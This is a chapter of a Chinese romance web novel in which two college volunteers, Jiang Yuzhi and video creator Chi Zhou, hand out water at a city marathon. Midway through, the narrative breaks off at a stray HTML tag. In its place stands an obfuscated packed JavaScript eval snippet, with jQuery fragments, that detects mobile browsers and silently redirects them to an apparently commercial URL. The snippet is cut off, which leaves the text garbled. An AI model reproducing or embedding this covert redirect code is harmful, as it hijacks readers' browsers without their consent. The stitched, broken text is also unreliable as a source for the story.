江愉枝睁眼的时候已经差不多快到了。
把有点黏的眼睛撑起来,看向旁边已经开始回复邮件的老师。
整个车子里面都一片沉默,所有人都陷入困意的水泡里面,随着车子的沉沉浮浮飘动。
嘹亮的吹哨声打破了一切。
车窗外面传过来:“请志愿者们有序下车。”
机械的女声,一直在孜孜不倦的重复。
池骤是率先站起来的一个,他一路上都没睡,在众人皆睡中一人独醒,精神抖擞地不知道在处理什么事情。
站起来长腿一立,把巴士显得有点逼仄。
于是江愉枝余光中就看到了他已经下车的后脑袋。
刚刚没有去细看,现在这么看来这个人居然还在凌晨起床的前提下去做了一个发型,发型保持得很好,做出了很帅的毛流感,几簇翘起来的头发随着他的脚步一晃一晃的。
车上的人都开始陆陆续续往下面走。
江愉枝等所有人都下完车之后才慢吞吞地开始起身,下车走到刚刚在车内就看到的第一小组集合点。
在这段时间内池骤已经代表小组拿到了物资,看起来很结实的纸箱子里面饱满地排着黄澄澄的香蕉,香蕉上没有斑点,是极为新鲜的状态。
水果这个大概是他个人任务,因为池骤看起来完全没有想把纸箱子给其他人搬的感觉。
他抱着纸箱子,垂着眼睛又在数小组人数,把好队长的人设势必做到极致。
看见江愉枝来了之后,才清了清嗓子准备安排事务。
市上对这次自己承办的拉动内需的马拉松还是比较重视,给每一个志愿者都发了统一的衣服和可以填饱肚子的物资,又分配了一些人员来专门帮助维持秩序,一层一层地下方信息,频率还是挺高效。
池骤在刚刚的企鹅群聊天就差不多把该讲的该说的都说了,现在只是在强调他们被分配到的位置:“我们被分配到的是在比赛中途倒水,具体操作我们到了摊位再说。”
绝口没提手上拿着的香蕉。
他示意大家跟他走,去的位置是起点。
江愉枝走在最末尾,旁边那个女生冒出来和她说话。
她的视线放在池骤身上,压低了声音,自来熟地对江愉枝说:“感觉真人要比视频里面帅得多。”
江愉枝点头,算是认可了。
刚刚在车上的时候找他搭话的就比较多,在远处观望的人也很多,同龄的能接触到的网络名人天然就会被加上一层代表神秘的面纱。
池骤的态度始终挑不出来什么错,谁的话他都可以轻松地接下去,态度谦卑而平和,时不时还会配合着笑笑,所以现在周围又围了一大群男生。
旁边这个女生略有点艳羡地望着池骤的背影,说:“真好,我也想大学就能经济独立。”
天色已经有点略微泛亮,呈出色彩不均的天际线,除开志愿者以外,这个马拉松场地已经依稀来了些人了。
江愉枝拉着那个女生往前跟紧了大部队,一边看这些已经来了的人。
有老有小,有女有男。成群结队来的,单打独斗来的。
每个人眼里都充满着一种爽朗的朝气,已经有人开始自顾自地热身运动,扑面而来的向上意味。
走在前面的池骤回头望了一下,眼睛里还带着未散的笑意,直直地朝江愉枝袭来。
他的眼神又移走,面对着后面所有人喊:“快跟上来,我们一起走。”
他在一个分叉口前停了下,和旁边的一个男生交代了些什么,然后就朝着另一个地方走了。
江愉枝的眼神在他的后背上过了一下。
怎么感觉永远都看到的是池骤的后背。
马拉松志愿其实并不要求他们做太多东西,更多时候都是站在原地观看。
但她们这个组别比较特别,需要一直不停地倒水。
走了好久才到她们的待命点,指导老师已经开始安排人开始倒水了。
拿出纸杯,倒入温水,按照顺序把它们一码一码的排好,做完初步准备之后江愉枝她们就开始百无聊赖地等待。
这个时候已经临近开赛时间了,望向比赛场地上面安装的大屏,里面正在转播起点选手的画面,所有人处于这个位置的时候还是精神勃发的,没多少人来主动要求补给,偶尔有零星两个上去拿水的。
系鞋带的系鞋带,做拉伸的做拉伸。
长长的队伍在规定的起跑线后面排起长队。
“呜——”一声哨响。
颜色五花八门的参赛者开始奔跑,有少数人在一开始就迅疾地跑到前面去,小腿处的肌肉绷得死紧,大多数人都不紧不慢地跑着。
比赛开始了,估计还有一会儿才跑的到她们这个位置上,这个时候池骤才慢悠悠地出现。
该说他的体力还是挺好,现在气若神闲地背着一个大部头的相机,应该是刚刚使用过的原因还挂在脖子上,他向前走了一步,观察小组倒的水,又稍微地把它们摆正了一点。
右手举着相机,左手在动。
江愉枝对着一片空地已经看得有点腻了,现在盯着他的动作。
他调整得很认真,特别注意了让纸杯处于帐篷的遮蔽之下,把过满一点的水倒了出去。
确实,她刚刚也在盯这杯水,想着是不是太慢了一点。
然后猝不及防就被旁边的人搭话。
偏偏神情真的蛮自然,以一种认识已久的自来熟姿态开口:“等累了?太阳好像要出来了。”
没盯着她,仿佛就是随口一问。
江愉枝反应过来是在跟她说话,摇了摇头:“还好。”
怪不得这几天校园帖子上出现了一波他的谈论,说是人帅人缘也特别好,还给他的视频做了自来水宣传。
池骤还张口想说些什么,然后就被奔腾的脚步声打断。
有一个人跑得极快,所到之处都激起一片兴奋的“加油”。
他看都没看旁边一眼,而是继续自我坚定地跑着。
随后而来的人就比较多了,有零零散散的人这个时候也开始过来拿水。
一阵劲风袭过,一个穿着骚橙色的肌肉男靠近了她们的摊位,但是因为力度和距离没有掌握好,过来拿水的时候横扫了一片纸杯。
前排的水无一幸免,通通都被打翻在地,在有点灰尘的地面上激起一片水花。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579055|204107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
他没有回头看一眼,自己手上拿着一杯水,潇洒地喝了一口,剩下的水伸手举起。
纸杯倾斜,水从他的头顶浇下去,纸杯被随手仍在了一旁。
肌肉男就这样悠悠然挥洒着水和汗水,化身洒水机跑了。
池骤看着自己裤脚处的湿润,微微沉默了一下。
裤脚那里被砸在地上的水弹到了,洇湿了一大团,颇有吸力的吸附在小腿处。
池骤没说一句话,从包里拿出叠好的纸,弯下腰尝试把它拭干,直起身来,什么都没有发生一样继续应和了旁边男生对他的关心。
集体分发的红色志愿衣服穿在他身上也挺好看,和太阳一共配合,头发被打出一层毛茸茸的金边。
江愉枝已经伸手添上了水,动作放得极快,但是还是没有赶到他们弄倒水的速度。
手酸了啊啊。
池骤伸手接过她手上刚用完的水壶,动作流畅又理所应当,低着头也开始倒起水来:“我来吧,你休息一会儿。”
似乎他对每个女生都比较照顾,却没再提刚刚被打断的话。
江愉枝没想到他私底下居然这么随和,但还是道谢:“谢谢?”
马拉松的赛制是会循环着跑圈。
天不遂人愿,接下来的时间忙碌了起来,刚刚的空暇时间好像是虚假的,江愉枝还没有怎么歇息一会儿就被喊着继续做,所有人都被推动着一直倒水,倒水,像机器人一样。
他们组这里开了几组新纸杯了,先前被打翻的就大刺刺躺在地上,组员尝试着用棒棒捞了两下,再远处的就碰不到了。
终于等人稀少了一点,池骤甩了甩有点麻了的手,转身寻找了一圈,思索的眼光一闪而过,最后停留在江愉枝身上,询问:“你现在有空吗?”
“现在有。”声音放得犹豫,心里不准他要干什么。
他指了指刚才因为繁忙的动作放在凳子上的相机:“可以帮我拍段视频吗?”他手上还没停,在说话的空隙继续倒水,开口的时候眼神才又放在江愉枝身上,说得小声:“我莫名其妙比较相信你的审美。”
没有工作室的个人up主就这样,从拍视频到剪视频再到后期只能全凭自己。
江愉枝觉得这个人真厉害,不动声色就能拉近自己和别人之间的关系。
她想起当时篮球场池骤轻飘飘的眼神,好像完全没注意到她一样,不由得还是心里佩服。
前男友段位高啊。
她点了点头,伸手去拿在他背后的相机。
索尼的标志很明显,司馨之前有个同款,她之前借着玩过,拍视频的话应该没太大的问题。
“会用相机吗?”池骤往后退了一步,准备教一下江愉枝按键。
两方的动势刚好相对,他的腿又蹭到江愉枝手指上了。
再一次。
他动作一僵,分不清楚自己腿上的触觉到底是来源于什么东西,手上倒水的动作完全停了下来。
池骤刚好遇到一个粉丝大哥,很兴奋地想要接过他的水,就看到池骤的眼睛微弱地渺茫了下,说的“加油。”气息浅淡。
这是今天第二次了,还差不多全是他自己搞出来的。